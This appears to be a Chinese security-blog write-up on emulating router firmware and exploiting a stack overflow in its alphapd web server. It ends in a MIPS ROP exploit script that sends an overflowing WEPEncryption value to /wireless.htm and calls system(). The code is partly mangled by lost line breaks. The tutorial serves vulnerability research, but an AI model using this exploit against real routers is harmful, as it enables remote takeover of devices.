标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2975]   作者: 浩丶轩 发表于: [2022-02-12]

本文共 [222] 位读者顶过


固件仿真

[出自:jiwo.org]
https://github.com/yywz1999/docker-qemu-system 下载好后按照readme安装,连接ssh上去。 然后去打包固件 tar -zcvf cpio.tar.gz cpio-root 上传到docker,切换到root权限。 仿真:


mont -o bind /dev/ ./dev/
mount -t proc /proc/ ./proc

chroot . ./bin/sh进入sh。 ./etc_ro/rcS中找到了internet.sh文件。查找这个文件它位于:./sbin/internet.sh 在这个文件中又看到了一个 [lan.sh](http://lan.sh) 【./sbin/lan.sh】文件。

继续查看:

发现了关于web启动的相关信息。

确定了这个固件启动web服务的程序为:alphapd

killall -q alphapd

sleep 1

alphapd &


无法打开pid file,创建一个。



再次报错:


创建nvramd.pid:


./gdbserver-mipsel :23946 ./bin/alphapd
调试查看v4的值,可以发现这里是通过 gpio 接口来获取IP的。
但是我们是仿真的,并没有这个接口,所以我们直接去Patch。



patch后运行:


调试

关闭aslr:echo 0 > /proc/sys/kernel/randomize_va_space
./gdbserver-mipsel :23946 --attach alphapdPID  在gdb-multiarch中 
set arch mips
set endian little
target remote 192.168.50.214:40496
	

挖掘漏洞

通过对程序分析,寻找敏感函数,最终找到了一个 strcpy 用户可控的输入位置。

可以看到这里的 v11 只有四个字节。v8 是由 v10 赋值,而他是从
WEPEncryption 获取的。而且并没有长度检查。

交叉引用找到调用点:
 
 
找到了 formDefineWireless 函数,在web页面中找到了相似关键字。

于是测试发包:

程序crash,并且控制了PC寄存器。于是我们开始测试溢出长度:

> cyclic -l 0x6161616b
40
下面我们就可以来寻找gadget打这个溢出。

Libc基地址


0x77eda000

Rop

想要打出system的话,我们这里就需要来控制 a0 寄存器作为函数调用的参数。 
这是找到的gadget:
.text:0004A604                 addiu $s2, $sp, 0x1E8+var_F8 .text:0004A608                 move $a0, $s2 .text:0004A60C                 move $t9, $s0 .text:0004A610                 jalr $t9 ; sub_49DF0
栈中地址存到 s2 寄存器中,然后 s0 寄存器存入 t9 然后调用函数。 
所以我们的exp就可以写了:
import socketfrom 
pwn import * context.log_level = 'debug'c
ontext.arch = "mips" Libc_Addr = 0x77eda000 system_Addr = 0x0045080 cmd = "echo${IFS}'Pwn!'" gadget = 0x004A608 payload = cyclic(16).upper() payload += p32(Libc_Addr+system_Addr) # S0 # p -> 0x77F24604 payload += 'BBBB' # S1 payload += p32(0x7fffe2a8) # S2 payload += 'DDDD' # S3 payload += 'EEEE' payload += 'FFFF' payload += p32(Libc_Addr+gadget) # PC payload += 'HHHH' payload += cmd  if __name__ == '__main__':  #key = "Content-Type:text/html;charset:utf-8\r\n" RHOST = '127.0.0.1' RPORT = 40080 request = "" request+= "GET /wireless.htm?WEPEncryption={} HTTP/1.1\r\n".format(payload) request+= "Host: {}:{}\r\n".format(RHOST,str(RPORT)) request+= "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0" request+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" request+= "Accept-Language: en-US,en;q=0.5" request+= "Accept-Encoding: gzip, deflate" request+= "Connection: close" request+= "Upgrade-Insecure-Requests: 1" request+= "\r\n\r\n"  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((RHOST,RPORT)) s.send(request) print(request)  # msg = s.recv(1024) s.close()  # print msg

评论

暂无
发表评论
 返回顶部 
热度(222)
 关注微信